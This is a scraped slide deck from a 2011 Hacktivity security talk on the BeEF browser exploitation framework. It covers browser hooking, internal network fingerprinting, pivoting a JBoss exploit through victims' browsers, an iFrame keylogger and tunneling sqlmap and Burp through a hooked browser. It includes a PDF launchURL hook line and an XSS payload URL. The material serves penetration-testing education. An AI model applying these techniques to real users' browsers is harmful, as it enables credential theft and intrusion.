Hacktivity2011 be ef-preso_micheleorru
•
0 likes•3,004 views
This document discusses the Browser Exploitation Framework (BeEF), which allows penetration testers to target browsers within different security contexts and select modules in real-time to exploit vulnerabilities. It outlines how BeEF can be used to enumerate targets, fingerprint internal networks by detecting devices from their images, exploit services like JBoss via the browser, persistently keylog victims, tunnel network requests through the browser as a proxy, and integrate the XssRays module to detect cross-site scripting vulnerabilities. Future development ideas include improving XssRays and adding multi-hooked browser support.
Report
Share
Hacktivity2011 be ef-preso_micheleorru
- 1. Dr. Strangelove or: how I Learned to Stop Worrying and Love the BeEF Michele “antisnatchor” Orru’ 18 September 2011
- 2. Who am I? ❖ Penetration Tester @ The Royal Bank of Scotland ❖ BeEF core developer: - Tunneling Proxy, - XssRays integration, - various exploits, - lot of bug-fixing, testing and fun ❖ Kubrick fan ❖ Definitely not a fan of our Italian prime minister Silvio „bunga-bunga” Berlusconi ❖@antisnatchor ❖http://antisnatchor.com
- 3. outline: cutting, devouring and digesting the legs off a browser ❖ What the hell is BeEF? ❖Cutting - Target enumeration and analysis ❖Devouring - Internal net fingerprint - Exploiting internal services through the hooked browser - Keylogging, browser pwnage ❖Digesting - Persistence, tunneling sqlmap/Burp through BeEF proxy - XSSrays integration ❖Future development and ideas
- 5. What the hell is BeEF? ❖ BeEF: Browser Exploitation Framework ❖Pioneered by Wade Alcorn in 2005 (public release) ❖Powerful platform for Client-side pwnage, XSS post-exploitation and generally victim browser security-context abuse ❖Each browser is likely to be within a different security context, and each context may provide a set of unique attack vectors. ❖ The framework allows the penetration tester to select specific modules (in real- time) to target each browser, and therefore each context.
- 6. What the hell is BeEF?
- 7. Cutting: Target enum and analysis ❖ Lot of juicy information after first hook initialization : ❖Browser/OS version ❖Cookies ❖Browser plugins ❖Supported features (Google Gears, Web Sockets, Flash, Java, . .) ❖Specific modules are also there to help ❖Detect links/visited URLs ❖Detect social networks (authenticated in Twitter, Gmail, Facebook) and Tor ❖Execute your custom Javascript
- 8. Cutting: Target enum and analysis
- 9. Devouring: Internal net fingerprint ❖Recon/NetworkFingerprinting module Watch „Jboss 6.0.0M1 JMX Deploy Exploit: ❖Knowing the victim internal IP, the attacker can start to fingerprint the internal network via Javascript to find common servers and devices. (http://vimeo.com/24410203) the BeEF way... ” on Vimeo ❖The approach currently in use is similar to Yokoso (InGuardians) ❖Map of device/application default images ❖img tags are loaded into the victim DOM ❖Onload event, if (image width/height/path == deviceImageMapEntry), then deviceXYZ@IP has been successfully found
- 10. Devouring: Internal net fingerprint ❖Great preso „Intranet Footprinting” by Javier Marcos and Juan Galiana (Owasp AppSec Eu 2011) ❖ They developed new BeEF modules ❖ They are working with us and their work will be available in BeEF trunk soon. A few examples: ❖Internal DNS enumeration ❖Reliable Port Scanning ❖Ping sweep
- 11. Devouring: exploiting internal services ❖Network/JbossJmxUploadExploit module Watch „Jboss 6.0.0M1 JMX Deploy Exploit: ❖JBoss 4.x, 5.1.0, 6.0.0.M1 JMX deploy exploit is available in MSF, but you need to have direct access to the target (or use a host as a pivot) (http://vimeo.com/24410203) the BeEF way... ” on Vimeo ❖Then why not use the victim browser as a pivot?
- 12. Devouring: persistent keylogging ❖Persistence/ iFrameKeylogger module ❖We can inject a 100% width/height overlay iFrame that loads the login page (in-domain), attaching a listener for keyboard events (keylogger) in JS. ❖After the victim logs in, she will stay in the injected iFrame while the communication channel will be persistent in the background.
- 13. Devouring: module autorun ❖ We’ve ported back (from the old PHP version) the autorun feature ❖Add autorun: true in the command module config.yaml that you want to autorun ❖When a new browser will be hooked in BeEF, the module will be automatically launched ❖Imagine adding autorun: true in Metasploit autopwn module (another feature ported back)...
- 14. Digesting: hook default browser ❖Originally disclosed by Billy (xs-sniper) Rios on „Expanding the Attack Surface” ❖Browser/HookDefault module ❖We use a PDF in order to attempt hooking the default browser ❖When executed, the hooked browser will load a PDF in a new window and use that to start the default browser. ❖app.launchURL("http://192.168.56.1/page-With-BeEF- Hook-Js.html",true); ❖If everything will be ok, we hooked the default browser. ❖Future improvements: configurable bounce page and ruby pdf library
- 15. Digesting: tunneling proxy ❖Having a communication channel with the hooked browser, we can: ❖Receive requests as a proxy on BeEF ❖Translate these requests to XHRs (in- domain) ❖Parse the XHRs responses and send the data back to the original requestor...
- 16. Digesting: tunneling proxy ❖Using the victim browser hooked in BeEF as a tunneling proxy, we will see the following scenarios: ❖browsing the authenticated surface of the hooked domain through the security context of the victim browser; ❖spidering the hooked domain through the security context of the victim browser; ❖finding and exploiting SQLi with Burp Pro Scanner + sqlmap (through the victim browser too :-) ).
- 17. Digesting: tunneling proxy Let see the tunneling proxy in action! (demo time)
- 18. Digesting: XssRays ❖ Originally developed by Gareth Heyes in 2009 as a pure JS-based XSS scanner ❖ The XssRays BeEF extension allows you to check if links, forms and URI paths of the page where the browser is hooked are vulnerable to XSS. ❖What XssRays do is basically parse all the links and forms of the page where it is loaded and check for XSS on GET, POST parameters, and also in the URI path.
- 19. Digesting: XssRays ❖The original code by Gareth, from 2009, used a nice trick (the location.hash fragment) in order to have a sort of callback between parent and child iFrames ❖This is now patched by all recent browsers. So how to check for XSSs cross- domain, respecting the SOP restrictions?
- 20. Digesting: XssRays ❖We inject a vector that will contact back BeEF if the JS code will be successfully executed (thus, the XSS confirmed). ❖No false positives (oh yes, that’s what I like)! ❖Basically the document.location.href of the injected iFrame that contains the vector will point to a know BeEF resource. The following is an example value of href: ✴http://192.168.84.1:3000/ui/xssrays/rays? hbsess=ZdGQG32VvYmozDP3ia0mvNd5PwcjR9lXuzmTmxm1mAckrgjqA9b Ifg41Si2eOfVpviNWYk9vi2q3kvZB&raysscanid=3&poc=http:// 192.168.84.128/dvwa/vulnerabilities/xss_r/?name=%22%3E%3Cscript %3Ealert(1)%3C%2Fscript%3E&&name=Standard%20script %20injection%20double&method=GET
- 32. Future dev and ideas ❖Improve XssRays: ❖add more attack vectors, more testing ❖add JS depth crawler ❖Multi-hooking: a browser can be hooked on multiple domains ❖Check for time-based blind SQLi cross- domain via JS ❖Improve the BeEF console (command line UI) ❖Well...take a look here: http:// code.google.com/p/beef/issues/list
- 33. Get in touch with us ❖Follow the BeEF: @beefproject ❖Checkout BeEF: http://code.google.com/p/ beef/ ❖Check our website: http://beefproject.com ❖Have fun with it ❖We’re hiring!!! (but we’ll not pay you...seriously, we have so many tasks to do, join us)
- 34. Thanks to ❖Wade Alcorn and the other BeEF ninjas: Ben, Scotty, Christian, Brendan, Saafan,. . ❖My colleagues Piotr & Michal ❖My employer ❖Hacktivity crew and you attendees
- 35. Questions? Thanks for your time!